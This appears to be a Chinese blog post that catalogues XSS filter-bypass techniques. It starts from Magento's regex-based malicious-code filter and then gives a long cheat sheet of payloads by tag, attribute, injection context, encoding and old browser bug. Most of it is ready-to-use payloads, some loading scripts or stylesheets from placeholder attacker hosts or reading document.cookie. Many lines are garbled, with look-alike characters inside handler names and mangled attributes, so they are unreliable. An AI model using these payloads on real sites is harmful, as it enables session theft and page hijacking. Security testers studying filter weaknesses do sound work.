XSS————XSS绕过Bypass的各种各样姿势

  • Post author:
  • Post category:其他



XSS 攻击是一种攻击者将 JavaScript 代码注入到用户运行页面中的攻击。为了避免这种攻击,一些应用会尝试从用户输入中移除 JavaScript 代码,但这很难完全实现。在本文中会先展示一些尝试过滤 JavaScript 的代码,并随后给出其绕过方法。



以一个网上商城应用

Magento

中的过滤类

Mage_Core_Model_Input_Filter_MaliciousCode

为例,部分代码如下:

protected $_expressions = array(    '/(\/\*.*\*\/)/Us',  '/(\t)/',    '/(javascript\s*:)/Usi',    '/(@import)/Usi',    '/style=[^<]*((expression\s*?\([^<]*?\))|(behavior\s*:))[^<]*(?=\>)/Uis',    '/(ondblclick|onclick|onkeydown|onkeypress|onkeyup|onmousedown|onmousemove|onmouseout|onmouseover|onmouseup|onload|onunload|onerror)=[^<]*(?=\>)/Uis',    '/<\/?(script|meta|link|frame|iframe).*>/Uis',    '/src=[^<]*base64[^<]*(?=\>)/Uis',);function filter($value) {    return preg_replace($this->_expressions, '', $value);}


数组 $_expressions 中包含一系列用于过滤的正则表达式,然后通过使用 preg_replace 函数进行


恶意代码


的过滤。所以当尝试输入

<script>foo</script>


时,两个标签都会被移除而只剩下 foo。



下面我们来看一下一些绕过的方法。我们的目标是利用一些 HTML 来执行 JavaScript,上述一些正则表达式是为了过滤如下:

过滤的正则 可能的利用
(javascript\s*) <a href=”javascript:alert(‘xss’)”>
@import
@import

url(


http://attacker.org/malicious.css


)
style=… <div style=”color: expression(alert(‘XSS’))”>
<script… <script>alert(“XSS”)</script>

ondblclick|onclick|…






Javascript URL



链接标签里可以通过在 URL 中使用 javascript:… 来执行 JavaScript:

<a href="javascript:alert('test')">link</a>


上面的过滤会从代码中移除 javascript:,所以我们不能直接这么写代码。但我们可以尝试改变 javascript:的写法,使它依旧可以被浏览器执行但又不匹配正则表达式。首先来尝试下 URL 编码:

<a href="javascript:alert('xss')">link</a>


上面这段代码不匹配正则表达式,但是浏览器依旧会执行它,因为浏览器会首先进行 URL 解码操作。



另外,我们还可以使用 VBScript,虽然它在 IE11 中被禁用了,但依旧可以运行在旧版本的 IE 或者启用兼容模式的 IE11 上。我们可以使用类似上面 JavaScript 的方式来插入 VBScript 代码:



<a href=’vbscript:MsgBox(“XSS”)’>link</a>



CSS import



IE 浏览器支持在 CSS 中扩展 JavaScript,这种技术称为


动态特性(dynamic properties)


。允许攻击者加载一个外部 CSS 样式表是相当危险的,因为攻击者现在可以在原始页面中执行 JavaScript 代码了。

<a href='vbscript:MsgBox("XSS")'>link</a>



malicious.css:


body {    color: expression(alert(‘XSS’));}



为了绕过对 @import 的过滤,可以在 CSS 中使用反斜杠进行绕过:

<style>@imp\ort url("http://attacker.org/malicious.css");</style>


IE 浏览器会接受反斜杠,但是我们绕过了过滤器。



行内样式(Inline style)



我们同样可以在行内样式里利用 IE 浏览器支持的动态特性:

<div style="color: expression(alert('XSS'))">


过滤器会检查关键字 style,随后跟随的不能是 <,在随后是 expression:

/style=[^<]*((expression\s*?\([^<]*?\))|(behavior\s*:))[^<]*(?=\>)/Uis


所以,让我们需要把 < 放到其他地方:

<div style="color: '<'; color: expression(alert('XSS'))">


这就绕过了过滤器,同时也是一个有效的 CSS。尽管 < 不是一个有效的颜色,但其他部分都是可以运行的。



JavaScript 事件



我们可以像如下这样在元素中定义 JavaScript 事件:

<div>


这个 JavaScript 代码当有人点击它后就会被执行,同时还有其他事件如页面加载或移动鼠标都可以触发这些事件。绝大部分的时间都被过滤器所移除了,但是依旧还有少量事件没有被过滤,例如,onmouseenter 事件:

<div>


当用户鼠标移动到 div 上时就会触发我们的代码。



另一个绕过的办法就是在属性和= 之间插入一个空格。Magento 在新版中依旧修复了这一问题。

<div>


Script 标签



Script 标签可以用于定义一个行内的脚本或者从其他地方加载脚本:

<script>alert("XSS")</script><script src="http://attacker.org/malicious.js"></script>


而我们的过滤器移除了所有的 <script> 标签。然而,它只进行一次移除操作,所以我们希望在进行移除操作后保留下我们的目标代码:

<scr<script>ipt>alert("XSS")</scr<script>ipt>


过滤器会移除两个 <script> 标签,而余下的代码正是我们所希望得到的。事实上,这种嵌套的方法可以用来绕过所有基于正则表达式的过滤。














大多数的场所是用的黑名单来做过滤器的,有三种方式绕过黑名单的测试:


1、暴力测试(输入大量的payload,看返回结果)2、根据正则推算3、利用浏览器bug



测试其他标签


接下来测试其他的标签跟属性


Src属性

<img src=x οnerrοr=prompt(1);>
<img/src=aaa.jpg οnerrοr=prompt(1);> 
<video src=x οnerrοr=prompt(1);>
<audio src=x οnerrοr=prompt(1);>


iframe标签

<iframe src="javascript:alert(2)">
<iframe/src="data:text/html;        base64,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">


embed标签

<embed/src=//goo.gl/nlX0P>action属性


利用<form,<isindex等标签中的action属性执行javascript

<form action="Javascript:alert(1)"><input type=submit>
<isindex action="javascript:alert(1)" type=image>
<isindex action=j        a        vas        c        r        ipt:alert(1) type=image>
<isindex action=data:text/html, type=image>
<formaction="data:text/html,<script>alert(1)</script>"><button>CLICK


formaction属性

<isindexformaction="javascript:alert(1)" type=image>
<input type="image" formaction=JaVaScript:alert(0)>
<form><button formaction=javascript:alert(1)>CLICKME


background属性

<table background=javascript:alert(1)></table> // 在Opera 10.5和IE6上有效


poster属性

<video poster=javascript:alert(1)//></video> // Opera 10.5以下有效


data属性


<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<object/data=//goo.gl/nlX0P?


code属性




<applet code="javascript:confirm(document.cookie);"> // Firefox有效
<embed code="http://businessinfo.co.uk/labs/xss/xss.swf" allowscriptaccess=always>


事件触发




<svg/οnlοad=prompt(1);>
<marquee/onstart=confirm(2)>/
<body οnlοad=prompt(1);>
<select autofocus οnfοcus=alert(1)>
<textarea autofocus οnfοcus=alert(1)>
<keygen autofocus οnfοcus=alert(1)>
<video><source>


最短的测试向量




<q/oncut=open()>
<q/oncut=alert(1)>//在限制长度的地方很有效


嵌套




<marquee<marquee/onstart=confirm(2)>/onstart=confirm(1)>
<bodylanguage=vbsοnlοad=alert-1//IE8有效
<command onmouseover
="\x6A\x61\x76\x61\x53\x43\x52\x49\x50\x54\x26\x63\x6F\x6C\x6F\x6E\x3B\x63\x6F\x6E\x6 6\x69\x72\x6D\x26\x6C\x70\x61\x72\x3B\x31\x26\x72\x70\x61\x72\x3B">Save</command> //IE8有效


过滤括号的情况下


当括号被过滤的时候可以使用throw来绕过
<ajavascript:window.οnerrοr=alert;throw 1">


以上两个测试向量在Chrome跟IE在上面会出现一个“uncaught”的错误,可以用以下的向量:






<body/οnlοad=javascript:window.οnerrοr=eval;throw"=alert\x281\x29";>


expression属性






<img style="xss:expression(alert(0))"> // IE7以下
<div style="color:rgb(""�x:expression(alert(1))"></div> // IE7以下
<style>#test{x:expression(alert(/XSS/))}</style> // IE7以下


location属性






<a οnmοuseοver=location="javascript:alert(1)">click
<bodyjavascript:alert(1)"">123


其他的一些payload






<meta http-equiv="refresh" content="0;url=//goo.gl/nlX0P">
<meta http-equiv="refresh" content="0;javascript:alert(1)"/>
<svg xmlns="http://www.w3.org/2000/svg"><g></g></svg>
<svg xmlns:xlink="http://www.w3.org/1999/xlink"><a><circle r=100 /><animate attributeName="xlink:href" values=";javascript:alert(1)" begin="0s" dur="0.1s" fill="freeze"/>
<svg><![CDATA[><imagexlink:href="]]><img/src=xx:xοnerrοr=alert(2)//"></svg>
<meta content=" 1 ;JAVASCRIPT: alert(1)" http-equiv="refresh"/>
<math><a xlink:href="//jsfiddle.net/t846h/">click


当= ( ) ; :被过滤时


<






svg><script>alert(/1/)</script> // 通杀所有浏览器


opera中可以不闭合






<svg><script>alert( 1) // Opera可查


实体编码


很多情况下WAF会实体编码用户的输入数据,

javascript是一个很灵活的语言,可以使用很多编码,比如十六进制,Unicode和HTML。但是也对这些编码可以用在哪个位置有规定:

属性:
href=
action=
formaction=
location=
on*=
name=
background=
poster=
src=
code=

支持的编码方式:HTML,八进制,十进制,十六进制和Unicode

属性:
data=

支持的编码:base64

基于上下文的过滤

WAF最大的问题,在于不知道输出的位置的上下文,导致根据具体环境可以绕过。

输入在属性里

<input value="XSStest" type=text>


可控位置为XSStest,可以使用






"><img src=x οnerrοr=prompt(0);>


如果< >被过滤的话可以换成






" autofocus οnfοcus=alert(1)//


同样还有很多其他的payload:






"οnmοuseοver=" prompt(0)x="
"οnfοcusin=alert(1) autofocusx="
" οnfοcusοut=alert(1) autofocus x="
"οnblur=alert(1) autofocusa="


输入在script标签中


例如:
<script>
Var x="Input";
</script>


可控位置在Input,可以闭合script标签插入代码,但是同样我们仅仅闭合双引号就可以执行js代码了

";alert(1)//


最终结果就是

<script>
Var x="";alert(1)//
</script>


非常规的事件监听


例如:
";document.body.addEventListener("DOMActivate",alert(1))//
";document.body.addEventListener("DOMActivate",prompt(1))//
";document.body.addEventListener("DOMActivate",confirm(1))//


下面是一些相同的类:




DOMAttrModified
DOMCharacterDataModified
DOMFocusIn
DOMFocusOut
DOMMouseScroll
DOMNodeInserted
DOMNodeInsertedIntoDocument
DOMNodeRemoved
DOMNodeRemovedFromDocument
DOMSubtreeModified


HREF内容可控


例如:





<a href="Userinput">Click</a>


可控的是Userinput那里我们需要做的只是把javascript代码输入就好了:






javascript:alert(1)//


最后组合为:






<a href="javascript:alert(1)//">Click</a>


变换


使用HTML实体URL编码绕过黑名单,href里会自动实体解码,如果都失败了,可以尝试使用vbscript在IE10以下都有效,或者使用data协议。


JavaScript变换


使用javascript协议时可使用的例子:

javascript:alert(1)
javaSCRIPT:alert(1)
JaVaScRipT:alert(1)
javas        cript:\u0061lert(1);
javascript:\u0061lert(1)
javascript:alert(document.cookie)


Vbscript变换






vbscript:alert(1);
vbscript:alert(1);
vbscr        ipt:alert(1)"
Data URl
data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==


JSON


当你的输入会在encodeURIComponent当中显示出来的时候,很容易插入xss代码了

encodeURIComponent("userinput")


userinput处可控,测试代码:






-alert(1)-
-prompt(1)-
-confirm(1)-


最终结果:






encodeURIComponent("-alert(1)-")
encodeURIComponent("-prompt(1)-")


SVG标签


当返回结果在svg标签中的时候,会有一个特性
<svg><script>varmyvar="YourInput";</script></svg>


YourInput可控,输入






www.site.com/test.php?var=text";alert(1)//


如果把”编码一些他仍然能够执行:






<svg><script>varmyvar="text";alert(1)//";</script></svg>


浏览器bug


字符集的bug在IE中出现过很多次,第一个就是UTF-7,但是这个只在之前的版本中可用,现在讨论一个在现在的浏览器当中可以执行的javascript。

http://xsst.sinaapp.com/utf-32-1.php?charset=utf-8&v=XSS


这个页面当中我们可控当前页面的字符集,当我们常规的测试时:








http://xsst.sinaapp.com/utf-32-1.php?charset=utf-8&v="><img src=x οnerrοr=prompt(0);>


返回结果可以看到双引号被编码了:








<html>
<meta charset="utf-8"></meta>
<body>
<input type="text" value=""><img src=x οnerrοr=prompt(0);>"></input>
</body>
</html>


设置字符集为UTF-32:










http://xsst.sinaapp.com/utf-32-1.php?charset=utf-32&v=%E2%88%80%E3%B8%80%E3%B0%80script%E3%B8%80alert(1)%E3%B0%80/script%E3%B8%80

上面这个在IE9及以下版本可以执行成功。

利用0字节绕过:

<scri%00pt>alert(1);</scri%00pt>
<scri\x00pt>alert(1);</scri%00pt>
<s%00c%00r%00%00ip%00t>confirm(0);</s%00c%00r%00%00ip%00t>


在IE9及以下版本有效。